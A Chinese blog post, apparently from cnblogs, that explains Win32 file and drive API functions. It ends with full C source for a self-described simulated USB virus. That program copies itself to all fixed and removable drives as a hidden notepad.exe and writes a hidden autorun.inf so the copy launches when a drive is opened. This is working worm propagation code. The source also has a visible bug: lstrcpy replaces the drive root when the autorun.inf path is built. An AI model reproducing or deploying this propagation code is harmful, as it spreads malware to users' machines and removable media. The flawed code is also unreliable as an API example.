标签:UNC handle max line 完整 receive one imm gen
在windows中有多种文件,图片、视频、音乐等等。此些文件皆存于磁盘上,只是存储格式不同。此外,管道、邮槽,亦或是设备对象,于windows而言,皆为文件。
与c,c++操作文件一样,要操作文件,首先需要打开文件。文件打开成功后会返回一个可用于操作文件的句柄,通过此句柄便可对文件进行读写操作。
HANDLE CreateFile(
    LPCTSTR lpFileName,
    DWORD dwDesiredAccess,
    DWORD dwShareMode,
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    DWORD dwCreationDisposition,
    DWORD dwFlagsAndAttributes,
    HANDLE hTemplateFile
);此函数既可打开文件,也可创建文件,在windows下也有一个OpenFile()函数,这是Win16的产物,在Win32下必须使用CreateFile()来打开文件。
文件操作完成后,需要关闭打开文件的句柄以释放资源,函数如下:
BOOL CloseHandle(
    HANDLE hObject  //handle to object
);该函数不仅可关闭文件句柄,还可关闭事件句柄、进程句柄、线程句柄等等对象句柄。
BOOL DeleteFile(
    LPCTSTR lpFileName
);此函数只有一个参数,表示要删除文件的名称。
BOOL ReadFile(
    HANDLE hFile,                  //handle to file
    LPVOID lpBuffer,               //data buffer
    DWORD nNumberOfBytesToRead,    //number of bytes to read
    LPDWORD lpNumberOfBytesRead,   //number of bytes read
    LPOVERLAPPED lpOverlapped      //overlapped buffer
);BOOL WriteFile(
    HANDLE hFile,                     //handle to file
    LPCVOID lpBuffer,                 //data buffer
    DWORD nNumberOfBytesToWrite,      //number of bytes to write
    LPDWORD lpNumberOfBytesWritten,   //number of bytes written
    LPOVERLAPPED lpOverlapped         //overlapped buffer
);此函数和ReadFile()函数的参数意义基本相同,WriteFile()函数的第二个参数仍指向一个缓冲区,ReadFile()函数是将读入的内容存入此中,而WriteFile()函数是将之中的内容进行写入。
当用WriteFile()函数写文件时,windows会将数据暂时保存在内部的高速缓存中,操作系统定时进行盘写入,这样就避免的频繁的I/O操作,提高了效率。为了保证数据即时写入,可以使用FlushFileBuffers()函数:
BOOL FlushFileBuffers(
    HANDLE hFile  //handle to file
);此函数清空指定文件句柄的缓冲区,从而使Windows将缓冲区中的文件写入磁盘。这里的句柄和WriteFile()与ReadFile()所使用的文件句柄相同。
在进行文件读取之时,往往需要读取文件的某个部分,这便需对文件指针进行移动,从而正确读写。
移动文件指针函数为:
BOOL SetFilePointer(
    HANDLE hFile,                 //handle to file
    LONG lDistanceToMove,         //bytes to move pointer
    PLONG lpDistanceToMoveHigh,   //bytes to move pointer
    DWORD dwMoveMethod            //starting point
);BOOL CopyFile(
  LPCTSTR lpExistingFileName,
                          // pointer to name of an existing file
  LPCTSTR lpNewFileName,  // pointer to filename to copy to
  BOOL bFailIfExists      // flag for operation if file exists
);BOOL SetFileAttributes(
  LPCTSTR lpFileName,      // pointer to filename
  DWORD dwFileAttributes   // attributes to set
);第一个参数是文件名称,第二个参数是要设置的属性,这些属性是一些宏定义,以FILE_ATTRIBUTE_开头。MSDN中描述如下
DWORD GetLogicalDriveStrings(
    DWORD nBufferLength,   //size of buffer
    LPTSTR lpBuffer        //drive strings buffer
);该函数以字符串的形式返回本地所有可用的驱动器名保存在lpBuffer中。
UINT GetDriveType(
    LPCTSTR lpRootPathName  //root directory
);lpRootPathName保存获取的逻辑驱动器类型的驱动器名。函数的返回值为以下之一:
DRIVE_UNKONWN           无法识别此驱动器类型
DRIVE_NO_ROOT_DIR       无效的驱动器路径
DRIVE_REMOVEABLE        可移动驱动器,如U盘、移动硬盘等
DRIVE_FIXED             不可移动驱动器,指硬盘
DRIVE_REMOTE            网络驱动器
DRIVE_CDROM             光盘驱动器
DRIVE_RAMDISK           虚拟驱动器DWORD GetModuleFileName(
  HMODULE hModule,    // handle to module to find filename for
  LPTSTR lpFilename,  // pointer to buffer to receive module path
  DWORD nSize         // size of buffer, in characters
);BOOL CreateDirectory(
    LPCTSTR lpPathName,                         //directory name
    LPSECURITY_ATTRIBUTES lpSecurityAttributes  //SD
);BOOL RemoveDirectory(
    LPCTSTR lpPathName  //directory name
);参数指定了要移除的目录名。
该程序利用autorun.inf文件模拟U盘病毒,当该程序在U盘上时,它会将自己拷贝到所有磁盘目录上,并生成autorun.inf文件,这两个文件的属性都被设置为隐藏。当该程序在磁盘上时,若有可移动磁盘,它将会做同样操作到可移动磁盘上。
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
char szAutoRun[] = "[AutoRun] \r\nopen=notepad.exe \r\nshell\\open=打开(&O) \r\nshell\\open\\Command=notepad.exe \r\nshell\\explore=资源管理器(&X) \r\nshell\\explore\\Command=notepad.exe \r\nshellexecute=notepad.exe \r\nshell\\Auto\\Command=notepad.exe";
void infect(char *pszFile, UINT uDriverType)
{
    char szDriveString[MAXBYTE] = { 0 };
    DWORD dwRet = { 0 };
    DWORD iNum = 0;
    char szRoot[4] = { 0 };
    UINT uType = 0;
    char szTarget[MAX_PATH] = { 0 };
    dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);
    while (iNum < dwRet) 
    {
        strncpy(szRoot, &szDriveString[iNum], 3);
        uType = GetDriveType(szRoot);
        if (uType == uDriverType)
        {
            lstrcpy(szTarget, szRoot);           //将根目录名称copy到szTarget
            lstrcat(szTarget, "notepad.exe");    //szTarget为目标文件名:盘符:\notepad.exe
            CopyFile(pszFile, szTarget, FALSE);  //将原文件拷贝到szTarget
            //设置文件属性为隐藏
            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
            //建立AutoRun.inf文件
            lstrcpy(szTarget, szRoot);
            lstrcpy(szTarget, "autorun.inf");
            HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE,
                0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 
                NULL);
            DWORD dwWritten = 0;
            WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
            CloseHandle(hFile);
            //隐藏autorun.inf文件
            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
        }
        iNum += 4;  //开始操作下一个盘符
    }
}
int main()
{
    char szFileName[MAX_PATH] = { 0 };
    char szRoot[4] = { 0 };
    UINT uType = 0;
    GetModuleFileName(NULL, szFileName, MAX_PATH);  //获取当前所在路径和完整文件名
    strncpy(szRoot, szFileName, 3);                 //获取所在盘符
    uType = GetDriveType(szRoot);
    switch (uType)
    {
    case DRIVE_FIXED:
        infect(szFileName, DRIVE_REMOVABLE);  //若在硬盘上,则检查是否有可移动驱动器,有则拷贝
        break;
    case DRIVE_REMOVABLE:
        infect(szFileName, DRIVE_FIXED);  //若在可移动驱动器里,则拷贝到硬盘
        break;
    }
    return 0;
}标签:UNC handle max line 完整 receive one imm gen
原文地址:https://www.cnblogs.com/coolcpp/p/windowsfile.html